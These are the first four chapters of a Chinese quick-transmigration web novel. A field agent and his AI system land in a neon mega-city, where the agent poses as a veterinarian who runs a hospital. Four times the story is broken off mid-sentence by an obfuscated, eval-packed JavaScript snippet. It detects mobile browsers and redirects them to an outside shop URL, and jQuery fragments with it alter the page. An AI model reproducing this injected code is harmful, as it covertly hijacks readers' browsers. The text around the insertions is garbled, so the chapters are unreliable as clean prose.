《这世界是懂反套路的[快穿]》 1. 第1章 他心悖论1 “降落程序完成,专员已安全着陆。”系统MK3000的声音在赵四耳边响起,“正在执行系统功能自检……确认本世界连接信号稳定,系统功能已全部开放。 “温馨提示:您目前处于‘绝对安全的五分钟领域’中,请尽确认自身情况。” 赵四眯着眼打量四周,这是一间昏暗的小屋子,里面空荡荡的,什么摆设都没有。 所谓“绝对安全五分钟”,指的是专员落地后小世界时间流动暂停的这段时间。无论能否接触到实体,专员都足以利用这五分钟进行转移、撤离或展开初步调查。 “说白了就是怕咱们刚落地就莫名其妙死回去呗。”赵四一边在墙壁和地面上敲敲打打,一边懒洋洋地吐槽,“这些小世界,光给身份卡不给记忆,典型的管杀不管埋。早年间中心刚成立那会儿,‘落地杀’和‘剧情杀’可都是家常便饭……那真是专员的噩梦年代。” “这事儿我听过。”MK3000接话,语调里也带上了点见怪不怪的调侃,“后来论坛上还有人总结了《如何快速扮演一个你完全不了解的身份》攻略帖,就是被称为专员圣经的那个,我记得发帖人好像是——” 它顿了顿。 “——尼古拉斯·赵四。这不你本名吗?” 赵四啧了一声:“老员工了,谁还没点唬人的履历……先办正事儿。三儿,这面墙手感不对,开扫描把屋里所有墙面都给我过一遍。” MK3000一边嘀咕“谁是你三儿,能不能换个正经称呼”,一边麻利地启动了扫描。 很快,结果出来了。 “检测到目标墙面存在局部材质异常,后方疑似存在机械结构。相关区域已用高亮红色在你的视野中标出。另外,这屋子的清洁数据干净得离谱——灰尘浓度几乎为零,这不合理。” 赵四乐了:“感觉像被无缝送进号子里了,而且这儿的保洁指定有点强迫症。” MK3000凉凉地回:“陪你一起蹲?想得美。首先,号子里设施比这儿齐全,这顶多算小黑屋;其次,咱俩关系还没到那份上。” 赵四顺嘴就接:“瞧你说的,咱俩这关系,那可是你中有我、我中有你——” “打住。”MK3000截住话头,语气里带着公事公办的提醒,“这趟任务特殊,完事儿后主系统要逐行审阅我的日志记录。赵四专员,你应该也不希望领导事后在报告里看到的全是你的‘精彩语录’吧?” 赵四噎了一下,把后半句玩笑咽了回去。 工作嘛,态度还是要摆的。都是上司的任务罢了,何必给自己找不痛快。 确认落地环境暂时安全,赵四收起散漫,正色道:“MK3000,载入任务简报。” “收到,正在读取任务信息,请稍候。” MK3000效率很高,几秒后,任务内容便在赵四脑海中响起: 【你是总裁的那位医生朋友。在你眼前,真假少爷、红眼文学、他逃他追、火葬场追妻等经典戏码轮番上演。你的任务是——找到“你”的“真心”与“爱人”。请注意,你的爱人不能是一条狗。】 一句话让赵四和MK3000同时陷入了沉默。 他们把那句话反复播放了三遍,最后不得不承认,还是自己见识少了。 赵四:“中心的任务描述向来走‘生怕你看不懂’的直白路线……现在怎么改行当谜语人了?” MK3000:“打工多年,归来仍是萌新。”它也没见过这种路数的任务啊! 赵四:“难道是黑——”幕字还没来得及出口,就被MK3000打断了。 “二次提醒,”MK3000声音平稳,“系统日志正在实时记录。” 赵四话锋硬生生一转:“——难道是黑暗中的灯塔,我们英明的领导为我们指引的明路?” MK3000毫无波澜地捧场:“真是发自肺腑的赞誉。” 赵四干笑两声:“至少知道这次‘我’是个医生,还是总裁的朋友。” “任务要我们找这个身份卡的‘真心’和‘爱人’,那八成跟‘我’的背景和经历脱不了干系。”他摸着下巴分析,“所以开局得先摸清‘我’到底是个什么人……我有预感,这事不会太简单。” MK3000:“说不定是套娃式剧情,毕竟标注了是特殊任务。” 一专员一系统同时安静了几秒,然后不约 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066874|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而同地叹了口气。 这种连任务方向都得靠猜的日子,虽然才刚开始,但已经让人想摆烂了。 赵四有气无力地走最后流程:“三儿,加载本世界语言包,然后开启私人通讯频道。” MK3000也答得有气无力:“指令确认。语言包已加载,意识投射通讯频道已建立。请注意,本频道对话将全程录音。主系统郑重承诺,录音仅用于主系统权限下的任务归档与责任追溯,如发生外泄,执行系统与专员有权无条件追责。” 时间一到,赵四结束面壁。他伸手沿系统标红的地方仔细摸索,很快,指尖便触到了那个隐蔽的开关。 墙体表面悄然滑开一道狭长的口子,露出后面灰蒙蒙的、玻璃状的材质。 赵四后退两步。 那片灰色迅速变得透明,其后流动的光景再无阻隔,刹那间照亮了整个房间。 原来这是一扇窗,而窗外是截然不同的喧嚣世界。 似乎正值某个庆典,错综复杂的天桥与广场上挤满了形色各异的人群,他们高举手臂,欢呼着迎接从摩天楼宇间缓缓巡游而过的华美楼船洒下的漫天花瓣。 慢速航行的楼船拖曳着绚丽的焰尾,纷纷扬扬的花瓣在七彩的人造虹光中翩然飘落。赵四试着从窗沿向下望,视野有限,看不到底。 他重新将目光投向窗外——这扇小窗如同一个取景框,框柱了远处空中巨大的全息广告投影,以及近处沉浸在狂欢中的人群。 霓虹闪烁,光怪陆离。 钢铁森林,喧嚣幻象。 这小世界,倒真有几分人造幻梦之地的味道。 巨大的投影广告循环播放,字体化作金沙般的数据流,与花瓣一同洒落在每个人身上。霓虹光影下,每一个身影都仿佛被镀上了一层迷离的亮色。 他们拥抱、亲吻、尖叫、狂欢。 巡游的楼船在人群上方投射出一行流光溢彩的大字:欢迎来到新世界! 赵四静静看了好一会儿,直到MK3000换着角度拍完存档照片,他才转过身,背对那一片纷繁的光影。 赵四:【这回的活儿,水有点深啊……得赶紧把基础情报摸清楚才行。】 2. 第2章 他心悖论2 赵四理了理思路。 想进一步获取信息,首先得从这房间出去。 赵四:【MK3000,这世界对扮演原主身份有什么硬性要求没?】 MK3000:【有,但比较宽松。只要别崩得让原住民觉得“这人谁啊”,大体上能糊弄过去就行。】 赵四:【懂了。】 这倒是个好消息,看来这个世界在“人设”方面还挺随和。 他再次按动墙上那块“异常区域”,一道门无声滑开。门外并非预想中的走廊或街道,而是一间普普通通的办公室。办公桌上的电脑正发出低低的运行嗡鸣,在一片安静里格外清晰。 MK3000:【全局扫描完毕。室内无主动监控监听设备,无异常能量波动,常规环境安全。】 赵四点点头,径直走到电脑前,随手晃了晃鼠标。待机屏幕亮起,一份打开的文档直接呈现在眼前。 是份标准的人物档案。 赵四下意识先看向右上角的证件照——一个浅金色短发的年轻男人,正隔着屏幕,带着怯生生的表情与他对视。 照片旁标注着名字:洛伦·艾克。 性别男,城建历157年出生,现年25岁,环宇集团的小少爷。 赵四目光快速扫过文档记录的生平,同时对系统道:【MK3000,接管这台电脑。把能挖的资料都整合一下,重点搜这个洛伦·艾克的信息。】 MK3000:【收到,交给我。】 通常情况下,只要搭档专员与目标电子设备有物理接触,系统就能无声无息地接管控制权。如果说物质世界是专员的战场,那数据空间就是系统的领域。 赵四快速浏览完眼前这份现成的档案,起身开始搜查房间其他可能藏有线索的物件。与此同时,MK3000已在飞速整合信息。 【网络环境判定:局域网·新世界第十七街区宠物医院内部工作网络。结论:此网络与外界隔离,无法交互。】 【宠物医院信息系统接入中……实验室信息系统加载完毕、影像归档与通信系统加载完毕、电子病历系统加载中……加载完毕。】 MK3000:【啧。】 赵四刚留意到窗边那盆不知名的绿植——土壤还湿着,像是最近才被人浇过水。 MK3000的声音就在这时响了起来,他收回视线,问道:【怎么?】 MK3000:【受局域网限置,暂时搞不到完整的世界背景资料……不过放心,后面有进展了我打包成册给你补课。至于你身份相关的情报,目前能挖到的都已经传到你的专员阅读架了。】 赵四靠到文件柜旁,在意识面板上快速浏览起系统传来的资料。 “他”叫方复秦,执业医师。 二十三岁那年,他熬死了亲爹,继承了这家位于中城区的“新世界第十七宠物医院”,那时他豪情壮志,以为从此之后就能执掌大权,翻手为云,覆手为雨——直到他发现自己根本没有实权。 小小一家医院,上面有几位跟着老院长“打江山”的副院长们分权制衡,下面有数位资深老医生对空降的“小院长”爱答不理。方复秦这前半生,堪称如履薄冰、举步维艰、乍暖还寒——寒得透心凉。 他发誓,自己一定要夺回属于自己的一切! 然而事与愿违,核心权力就像吊在他眼前的胡萝卜,能看到却碰不到。 在几番努力全都失败后,小方院长光速选择了躺平。 顶着院长的名头,脱离了普通医生的行列,想上班就露个脸,不想上班就自己写假条自己批,日子越过越舒坦,越舒坦就越不想动。 久而久之,小方院长去办公室坐班的频率低到吓人,这间象征最高权力的院长办公室,也成了常年上锁、无人问津的“空屋子”。 直到那一天,他遇到了生命中的那个它。 那暗黑杂乱的毛发,那紧闭着的双眼,那低沉微弱的哀鸣——没错,小方院长在下班路上的某个角落,捡到了一只被遗弃在路边等死的黑色小奶狗。 刹那间,随着老爹去世一同离家出走的责任心,猛然复苏! 他开始深刻反思:方复秦啊方复秦,你难道要这样一直堕落下去吗?你的人生就只有这种程度了吗?!难道如今无用的我,连一只小小小小黑狗的生命都不敢担负了吗! 真是浪子回头一瞬间,方复秦大彻大悟。 他将小黑狗送进自己的专属治疗室精心照料,随后重新披上象征“白衣天使”的白大褂,决心从熟悉院内基础文书工作开始,奋发图强…… 【停,打住。】赵四浅浅吸了口气,合上身份资料,【这玩意儿主体内容哪来的?】 MK3000:【医院通讯系统,职工大群的群文件,文件名叫《霸道院长狠狠爱:可爱小狗哪里逃》。顺便一提,那个群里没有你。】 ……这是员工私下写的院长同人文吧,方复秦这个院长存在的意义,就是方便让员工们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066875|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把他当成灵感来源,然后搞同人文学吗? 赵四头疼地揉了揉额角,又回想了一下刚才看到的内容,开口道:【既然你把这离谱玩意儿收录进来,说明经过比对筛选,你判定它的可信度不低……呵,有点意思。】 这是一间常年上锁、无人问津、被员工戏称为“空屋子”的院长办公室。但窗边绿植的泥土是湿的,说明近期有人打理过。 一个躺平摆烂、最近才“浪子回头”的方复秦,却在办公室电脑里存着一份八竿子打不着的洛伦·艾克的详细档案。 更别提落地时的那间密室了——那屋子是干嘛用的,之后还得找机会探一探。 【人物卡自相矛盾啊,三儿。】赵四走回电脑前,屈指敲了敲屏幕,【跟我说说,这里面有没有关于这家医院的核心文件?】 MK3000:【……检索到多份决策性文件。赵四专员,我收集的人设资料来源于这所医院大多数员工的通讯记录。换句话说,这就是他们对‘方复秦’的认知。 现在这份认知与你现场探查到的线索矛盾,这说明……啧,明白了,果然是烟雾弹。就知道没这么容易让我挖到核心信息。】 赵四对这个结果并不意外。 【很少见到‘我’,却又有固定的认知模板……这意味着大部分人对方复秦的认知是片面且固化的。他们不了解真实的‘我’,却会下意识用既有印象去解释‘我’的行为。不管方复秦是怎么做到这一点的,原本又打算做什么——现在这份‘刻板印象’,反而成了我的掩护。】 这个身份某种意义上获得了不小的自由。 但他得抓紧时间——他必须在跳出“小方院长”这个表面身份、直面其背后蹊跷之前,掌握更多信息。 赵四大步走到门前,一把拉开。 门外被良好隔音阻绝的嘈杂声响,瞬间涌入耳中。 赵四的目光不易察觉地瞥向墙上的挂钟。 MK3000的播报同步响起:【当前时间为——城建历182年7月1日,晚上十点整。】 看着走廊上人来人往的热闹景象,赵四很难不心生疑惑。 这个点儿,宠物医院怎么这么多人? 这时,一个抱着纸箱、脚步匆匆的护士经过赵四身边。她愣了一下,显然认出了他,立刻折返回来。 “小方院长!王副院长刚才还在找您呢,没想到您在这儿……您快去一楼看看吧,楼下人太多了,再没人管真要闹起来了!” 3. 第3章 他心悖论3 “闹起来了?” 赵四一边跟着护士快步下楼,一边问:“办公区那边怎么挤了这么多人?” 护士:“王副院长……王副院长他昏过去了,大家急着把他抬去急救中心。”她压低声音,又补了一句,“是那个,强烈的情绪波动引发的神经义体交互故障。” 赵四点点头,表面没再多问,暗地里已经戳了戳MK3000让它赶紧查查这个新词儿。 运气不错。即便只是在医院内网,这个词的出现频率也相当高。MK3000很快整合出了具体含义。 MK3000:【在这地方,‘神经义体交互故障’是个常用词——指的是当使用者情绪剧烈波动时,植入的义体有一定概率功能失灵,这是义体技术从诞生起就自带的顽固缺陷。 不过除此之外,这儿的义体确实厉害:既能突破人体极限强化机能,也能完美替代伤残肢体,用途广、效能高,普及率自然不低。而这一切,基本都归功于“四方科技”。】 说到这,它话锋一转,【义体核心技术完全由这家集团垄断,从研发、生产到维护升级,全产业链都在他们手里。十年前他们推出的新一代产品,已经大幅压低了那个故障的发生概率——当然,还没做到彻底根除。】 所以直到现在,每年照样有几个倒霉蛋得往医院义体科跑,大家都习惯了。 【等等,能查到四方科技的具体经营范围吗?】 MK3000:【可以。在这个世界,凡是跟生物工程、义体技术、基因编辑之类沾边的,都是四方科技的买卖。包括你现在这家医院,其实也挂在四方科技名下。】 赵四合理推测,恐怕这世界的所有医疗机构都跟四方科技脱不了干系。 真是个庞然大物。 不过这部分信息查得也太全了点儿,光靠医院内网的记录就能挖这么深? MK3000:【哦,这个啊。义体这部分内容在这家医院的内部通讯里被提到的频率高得离谱,随便搜搜就一堆。 另外,有件事你可能会感兴趣:这家医院虽然叫“新世界第十七街区宠物医院”,但其实是全物种收治的类型。】 赵四立刻联想到了那位被抬走的王副院长。 【意思是这儿不只治宠物,也治人?那干嘛叫宠物医院?】 MK3000:【准确来说,只要是送过来的、还能划进‘生命’范畴的,这家医院就都敢收。】 赵四大为震撼。 【这世界的医疗路子也太野了。我得尽快找个机会让你连上外网,看看是所有医院都这样,还是就这家特殊……总不可能在这里,名字带‘宠物’的医院,业务范围反而更广吧。】 这也太违反常理了。 赵四的问题暂时无解,毕竟现在没外网。 很快,他和护士到了一楼。就在接近最嘈杂的分诊台时,那位护士抱着箱子拐了个弯,不知去了哪儿,赵四被人潮吞没,一错眼就丢失了护士的踪迹,只得独自面对狂风暴雨。 “可算有医生来了……你是医生吧?” “哎呀我以前在下城区见过他的呀,好像是姓方,确实是个医生嘛。” “看起来真是一表人才、年轻有为、德高望重……那个,方医生啊,我家囡囡送来好几个小时了,你看还能救吗?不管能不能,医院倒是给个准话啊!” “哎呦,我屋里那个也是啷个样子,还活不活得出来嘛?(我家的那个也是这样,还能活吗?)” 乍一听这几位带着口音的通用语,不是本世界土著的赵四差点没听懂。好在任务世界发放的语言补丁包够给力,延迟几秒后,他还是弄明白了这群人在说什么。 他扯出标准而温和的职业笑容,提高音量压住七嘴八舌的询问:“大家先让让,让我喘口气——各位,我刚到,还不清楚具体情况。你们这样挤着一块说,我也听不清。咱们都别急,一个个来,好吧?” 这话挺管用,围上来的人互相看了看,纷纷退开些许,然后你一言我一语,开始说明前因后果。 这次倒都用上了标准通用语。赵四一边听,一边主动搀起一位走路不稳的老太太,往有座位的方向引。正在说话的人们也自然地跟了上来。 就这样,一群人顺利转移到了候诊区的休息室,总算还了分诊台一片清净。 途中,他状似无意地碰了一下老太太手腕上一个类似手环的物件。 【怎么样,是这个世界的通讯工具吗?】 MK3000:【找对了,赵四专员。这东西叫‘个人终端’,功能类似某些世界的‘手机’、‘光脑’或者‘传讯玉符’。总之,咱们现在成功解锁外部网络了。】 这话在赵四听来,跟“赵四专员,你的外挂已上线”没什么区别。 系统去完善基础资料了,赵四则开始尝试从周围人口中套取更多信息。 今晚的事说起来倒不复杂——本质是本地一个颇具“特色”的教团“人类主义纯净派”搞了场袭击。他们趁着下午宠物店举办活动,用催眠瓦斯放倒了在场所有人。 按他们的教义,不伤人,只针对“非人之物”。 于是满地昏迷的人类中间,这帮人开始有条不紊地砸毁货架、捣碎橱窗、虐待动物,完事后溜得飞快。 结果很惨烈,宠物死伤遍地,昏迷的主人们和宠物一起被姗姗来迟的警用机械打包送进了宠物医院。 醒来的人们又悲伤又愤怒,集体致电向联防局讨说法。 可一问才知道,出警的机械连一个暴徒都没逮住——那些人就像得了高人指点,撤离得干净利落,消失得无影无踪。 “后来联防局的人倒是又过来问过情况,可我们什么都不知道!他们也没多说什么,只是例行公事的让我们等后续调查结果就走了……” 说话的人声音低了下去,一时间无人接话。 这年头,能分出资源养宠物、寻求心灵慰藉的都不是普通人。这也意味着,在场的人里消息灵通者不在少数,但所有人都对今天发生的事情一头雾水。 赵四明白了。这些人焦躁的情绪,不完全是因为宠物受伤。未知的事件走向、来源不明的威胁,种种“不对劲”叠加,才是他们焦虑的根源。 想通这点,接下来也没什么好多说的了。毕竟他只是个可怜加班的社畜医生,安慰不了这些人脆弱的内心。 他能做的,就是假装读不懂气氛,然后让MK3000调出这些宠物的诊疗记录,照本宣科地告知大致情况,最后附上几句程式化的安慰。 很快,所有人表面都冷静了下来。 起初被赵四搀扶的老奶奶正想说什么,休息室的门被值班护士从外面推开了。 想说话的人立刻闭上了嘴,所有人都看向门口。 值班护士冷不丁对上十几双眼睛,被这诡异的气氛吓了一跳,下意识后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066876|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 退半步。目光在休息室里转了一圈,看到赵四才松了口气。 “方、方院,您这边结束了吗?” 赵四看向众位宠物主人:“抱歉,我先离开一下。” 众人没提出反对意见。 于是赵四朝他们点点头,从门口离开了。 门外有人正在等他。 “院长,”一个披着白大褂的女人半靠在墙上,似乎正出神。看见赵四出来,她站直身体,对他露出笑容,“难得看您这个时间还在医院……不过刚才还好有您稳住场面,不然咱们医院恐怕得多收几封难搞的投诉信了。” 女人胸前的白色胸牌上写着“林琳,义体科,主治医师”。 赵四余光扫过,也扯出营业式微笑。 “林医生就别笑话我了,我还差得远呢……今天是林医生值班?” “那倒不是,我是被一个电话叫回来加班的。” 林琳比了个“王副院长”的口型。赵四了然点头。 “他怎么样了?” “故障排除了。”林琳摊摊手,很没同事爱地说,“不耽误明天正常上班,更不耽误过几天的下城区义诊。” 下城区义诊。 这活动赵四已从MK3000那里了解了大概:几家医院联合,各自抽调一部分医生,去下城区开设为期一天的义诊摊位,算是个慈善活动。 唯一让他在意的是,其他参与医院至少从名字看都比较“正经”,只有他所在的这家,名字里带着“宠物”俩字。 【历史经验告诉我,凡是不合群的,一般都有问题。】 正忙着把林琳的身份信息打在专员公屏上的MK3000:【比如这位单独来堵你的林琳?我总觉得她哪儿不太对劲。】 赵四心情不错,这次的队组的匆忙,他没来得及了解搭档系统是个什么样的统,虽说金牌这个称号能戴在头上已经说明了这不太可能是个笨蛋统,但万一呢,万一是个运气特别好但是脑子跟不上的呢? 他不歧视笨蛋统——真要分到一起了,还能离咋地? 但现在看来,这显然是个有脑子的。跟聪明统搭档,干活无疑能省不少力气。 【能对劲吗?这林琳专门来堵我的。】赵四看着林琳在这儿东拉西扯,感慨万分,【大半夜的,工作做完了也不回家,而是专门来这儿堵人,哪个正经打工人会干这事儿。】 很快,赵四收回了感慨。 因为就在两人路过某个拐角时,林琳丝滑地从口袋里掏出个手环,一转手塞进了赵四手里。 赵四脚步顿了顿。林琳朝他眨眨眼,然后象征性地摆摆手,一句话没说,快乐地奔向了代表下班的大门。 看看林琳一边走一边随手把白大褂从肩头扯下,随便卷卷塞给急诊台值班护士、然后迅速远去的背影,再看看手里被塞过来的手环,赵四开始心疼自己。 下不了班的打工人竟是我自己。 【这里……】 MK3000:【是的,这里是监控死角。】 这就是不想让其他人知道这手环的事了。 手环里肯定有点秘密,而秘密,往往是麻烦的代名词。 仿佛为了验证赵四的想法,下一秒,手环开始疯狂震动起来。 MK3000:【看,来电提示。你来活了。】 【……唉。】 MK3000:【该你上工了,打工人。】 4. 第4章 他心悖论4 电话是要接的,但是怎么接是个问题。 赵四戴上了这个表面上没有一点接口的手环,然后在MK3000的指导下,将手环凑近耳边,在侧面感应区用特定的频率敲击了几下后,他感到耳后皮肤微微一麻。 MK3000:【个人终端的信息接收模块需要皮下植入才能使用。我看看……当前信号检测正常,现在你可以正常使用这个终端了。】 一道光屏在眼前的空气中展开,来电显示备注为“居安新”。 MK3000:【居安新,四方科技高级员工,现任四方科技第十七至二十街区分公司区域总裁……】 没顾得上研究终端的其他用法,赵四一边浏览系统递来的人物背景,一边接起了电话。 一道不容置疑的声音出现在赵四耳边:“方复秦,来七区生态区一趟,现在。” 赵四快速回想了一下方复秦的对外人设,开口时,声音里带上了点恰到好处的烦躁和惊讶:“现在?你知道现在几点了吗?” 居安新:“三倍诊费。” “问题是钱吗,你就三倍诊费!” “十倍。我要半个小时内见到你。” 赵四抬高声音:“半个小时内?!” “再加上你最近看上的那套新医疗设备。”居安新顿了顿,压低声音,“这次算我欠你个人情。” 赵四叹了口气,停了几秒才说:“……你找人来接我,我现在身边没有任何交通工具。” “可以。五分钟后,车会停在你那个医院的五楼。” 通讯挂断。 赵四转身按电梯上楼。 MK3000:【你面无表情打电话的样子好分裂啊,专员。】 赵四:【正常,没人会对半夜加班露出真心实意的笑容。】 MK3000:【……我不是在说这个,算了。 数据更新完毕,根据现有信息推断——居安新就是任务背景里提到的“那位总裁朋友”。】 电梯门缓缓打开,赵四迈步进去,牙疼似地抽了抽嘴角。 得,这是遇上“总裁深夜急召医生朋友上门”的经典戏码了。 听到任务简报时赵四不是没猜过这种走向,但真摊到自己头上,还是忍不住腹诽:这世界线该不会真是从哪本古早霸总小说里衍生出来的吧? 电梯缓缓上行,内壁屏幕上轮播着医院宣传广告。 赵四盯着那行“关爱生命,专业呵护”的标语,忽然想起一个之前没得到答案的问题。 还是那个老问题:就治疗范围而言,是只有这家“新世界第十七宠物医院”这么特殊,还是这世界的医院都这样? 连上外网的MK3000早已备好答案:【只有这里特殊。】 它将整理好的资料包同步过来,赵四一眼扫过开篇的世界观概述: 这个世界曾经历一场全球性灾难,灾后,幸存者建造了一座垂直发展的巨型城市,命名为“新世界”。 历经一百八十余年演变,新世界形成了如今四十个街区的格局—— 距地面四百米以上的半空中,有一座浮空城,其上十个街区被称为“上城区”。 地表至三百米高度区间,分布着十个街区,即“中城区”。 剩余二十个是官方登记在册的地下街区,也就是“下城区”。但文件归文件,实际上没人知道地下究竟还散落着多少未被承认的非法聚居点。 总之,遍数这四十个合法街区,有宠物诊所,也有正经医院,但就是没有这种什么都治的“宠物医院”。 【所以你所在的这一家可太特别了,它是整个新世界里,唯一一家‘综合’得这么彻底的医院。】 赵四抓住一个重点:【那我的行医执照,到底是治人的,还是治动物的?】 MK3000:【是这样的。你是个兽医,纯兽医那种。而除了你,这家宠物医院的所有在职医生,都持有“人医+兽医”双执照。】 赵四一时语塞。 这家医院……真的适合“方复秦”生存吗? 不对,当年这地方到底是怎么开起来的? 这配置特殊得离谱,说老院长和四方科技背后没点故事,恐怕没人会信。 赵四沉默两秒,忽然开口:【我得为我以前看过的所有小说道个歉。】 是他刻板印象了,听到任务播报里那句“总裁的医生朋友”时,居然真没考虑过自己可能是个兽医。 MK3000:【我觉得这也许不是你的问题。】 说实话,一般人确实很难往这方向想。 那么问题来了。 这位居安新居大总裁,半夜十二点叫一个兽医,甚至不是上城区的兽医,连夜上天去他家,看的到底是什么病号? 总不会真的是宠物吧? 脑子里转着杂七杂八的念头,电梯“叮”一声抵达五楼。 电梯门滑开,湿润的水汽扑面而来。 赵四往前走了几步,有细密的雨丝落在他身上。 十七区正在下雨。 不同于赵四记忆中的雨水,这细绒般的雨在冰冷中带着一丝油脂般的黏腻。 城市里无处不在的霓虹浸透了每一滴雨,让目之所及处都像一场缓慢燃烧的火灾。 那道之前见过的全息广告在这里看得更清楚了,万千雨丝穿过画面,让投影微微闪烁。 旁边的标语在雨中不断晃动、破碎,在雨水的折射中,破碎的字符宛如流动的铁屑。 然后,有东西切开了雨幕。 低沉的嗡鸣在数栋高楼间层层回荡。一道银色的影子掠过投影上方,接着轻巧盘旋,以比飞鸟更轻盈的姿态,无声地穿过医院五楼半开放的楼板,精准地落在赵四面前。 接他的“车”到了。 在雨水敲击引擎盖的细碎声响中,车门缓缓向上抬起。 透过车门的缝隙,能看到一道身影坐在驾驶位,面容隐藏在明暗交错的光影里,整幅画面静得像幅古典油画。 赵四走近,那人半偏过头来看他。 驾驶座上的人冲他露出堪称和煦的笑,然后礼貌地开口。 “看够了吗我尊敬的客人?赶紧的麻溜上来,别磨磨唧唧的。你们这鬼地方禁止外来车辆长时间停车,再多停一秒我都怕有条子过来请老子喝茶。” 车载语音适时响起:“请K3062号快车司机注意文明用语喵。” “有病吧,我哪儿不文明了?!” “请K3062号快车司机注意文明用语喵。这是三分钟内第二次提醒,再有一次将上报公司并扣除当日服务积分喵。” “……行行行,我文明我礼貌,快别念叨了你个智障小猫。” 车载语音:“请K3062号……” 司机:“哎呦我这暴脾气……” 他转头面对中控屏:“听着,从现在起老子在公司系统注册的司机艺名就改叫‘老子’。这不是脏话,是古汉语尊称,这么改显得咱潘多拉物流有文化底蕴。” 如此说完,他又转回头面对赵四,这次用播音腔般清晰缓慢的语调一字一句说道:“现、在、老、子、请、您、上、车。” 车载语音卡了一下,最终夸夸道:“司机昵称更新成功——太棒啦!K3062号快车司机‘老子’,今天又更文明了一点呢喵!” MK3000评价:【见证人类对规则体系的创造性解构现场。】 赵四压住嘴角,赶在司机下一波输出前迅速拉开车门,利落地坐进后座。 车座是触感有些硌的皮革质感,感应到有人落座,坐垫和靠背发出轻微的充气声,很快变得柔软。 车门无声合拢,潮湿的世界被暂时隔绝在外,车里轻柔的暖风带走了赵四身上最后一丝黏腻的潮意。 他刚放松身体,下一秒,车辆弹射起飞。 医院的平台边缘急速后退、下坠,视野被猛然拉高,整座城市在赵四脚下豁然铺开。 这座代号为“新世界”的城市,将中城区以一种赤裸而彻底的方式暴露在他眼底。 但赵四没心思看风景,他被强大的推背感死死按在座位上动弹不得。 司机游刃有余地单手操控着车辆之余,还有余裕转头,用文明礼貌的语气关心了他一番。 结果智能语音又响起来。 “请安全驾驶,请安全驾驶喵——” 司机一拳捶在操作台上,捶得语音系统喵喵叫,但开车风格倒确实略微温柔了那么一点。 等推背感稍缓,赵四坐直身体:“您的智能语音……很特别。” 司机“嗨”了一声:“你应该很久没坐网约车了吧?最近公司推行什么‘文明礼貌新风尚’,给所有司机的智能语音都升级了。结果干啥都要管,还一口一个‘喵’的……太烦了。” 智能语音:“检测到危险驾驶行为——请不要和乘客说话聊天喵~” 司机很大声地“啧”了一下,然后从心的给自己嘴上比了个拉链的手势,示意自己已被禁言,请乘客自便。 MK3000:【这位总裁给你叫的车居然是网约车,真是没想到。】 赵四:【倒也意外地合理。】 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066877|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >话又说回来,小说里那种动不动就“分分钟内赶到谁谁谁身边”、用的还是私家车的情况,司机简直就是超人。 【以前我做过一个任务,是很经典的霸道总裁小说生成的世界,任务要求完全人设扮演,一点都不能崩角色。】赵四想起往事,唏嘘不已,【我扮演的角色是总裁主角的司机——我是说,他的司机班总共五个司机,全是我一个人演的。】 【最无理取闹的是,那个世界还因为世界观限制,禁止我使用分身道具,说什么‘司机们只是普通人而已,不应该会同时出现,更不应该会分身术哦’。可那傻逼总裁平均每过几个小时,就要求我在几分钟内赶到某个地点。而这些地方简直天南海北,但凡我是个正常人都赶不过去。】 而且别说五个司机了,真要完成任务,那总裁至少得养个千八百的司机。 然后划分管理地盘,动态监测调度,确保他活动范围内的每个角落都随时有个待命的司机,才能有限度地实现他那种“随时随地、任何时间、任何地点”的离谱要求。 MK3000:【嘶……你这任务最后是怎么完成的?】 赵四:【很简单,我开了个出租车公司。】 MK3000:【……仔细说说?】 【我用从总裁那吃回扣的资金注册了个体户,然后以“外包车辆调度服务”的名义,把全城的网约车司机都接进了我的接单系统。】 【那总裁不是要“随时随地、任何时间、任何地点”都有司机吗?行,我让全市的司机都变成他的“潜在专用司机”。】 【他一下单,我就用三倍溢价把单子派给最近的车——反正他报销。】 MK3000:【……高啊,还有后续吗?】 